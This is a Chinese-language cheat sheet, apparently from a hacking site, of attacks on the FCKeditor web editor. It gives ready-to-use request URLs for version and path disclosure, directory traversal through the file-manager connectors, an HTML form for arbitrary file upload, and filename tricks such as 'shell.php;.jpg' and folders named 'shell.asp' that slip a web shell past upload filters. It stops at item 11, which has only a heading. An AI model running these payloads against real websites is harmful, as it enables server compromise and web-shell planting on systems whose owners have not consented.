1、查看編輯器版本

/fckeditor/editor/dialog/fck_about.html

2、爆絕對路徑

FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php(支持php的通殺)

/FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/aspx/connector.aspx 2.5可突破

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

3、遍歷目錄

/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=../../

Version 2.4.1 測試通過

修改CurrentFolder 參數使用 ../../來進入不同的目錄:

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp

根據返回的XML 資訊可以查看網站所有的目錄。

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

也可以直接流覽盤符:

JSP 版本:

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

4、jsp上傳
/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector

/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

5、Version < =2.4.2 For php 在處理PHP 上傳的地方並未對Media 類型進行上傳檔案類型的控制,導致用戶上傳任意檔!將以下保存為html檔,修改action位址。

<form id="frmUpload" enctype="multipart/form-data"action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br><input type="file" name="NewFile" size="50"><br><input id="btnUpload" type="submit" value="Upload"></form>

 

6、 FCKeditor 文件上傳“.”變“_”底線的繞過方法
很多時候上傳的文件例如:shell.php.rar 或shell.php;.jpg 會變為shell_php;.jpg 這是新版FCK 的變化。試試上傳1.asp;jpg
6.1:提交shell.php+空格繞過
不過空格只支援win 系統 *nix 是不支援的[shell.php 和shell.php+空格是2 個不同的檔 未測試。
6.2:繼續上傳同名檔可變為shell.php;(1).jpg 也可以新建一個資料夾,只檢測了第一級的目錄,如果跳到二級目錄就不受限制。

7、 突破建立資料夾
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

8、 FCKeditor 中test 文件的上傳地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

9、最古老的漏洞,Type檔沒有限制!

我接觸到的第一個fckeditor漏洞了。版本不詳,應該很古老了,因為程式對type=xxx 的類型沒有檢查。我們可以直接構造上傳把type=Image 改成Type=hsren 這樣就可以建立一個叫hsren的資料夾,一個新類型,沒有任何限制,可以上傳任意腳本!

10、browser

FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

11、本地構造test檔
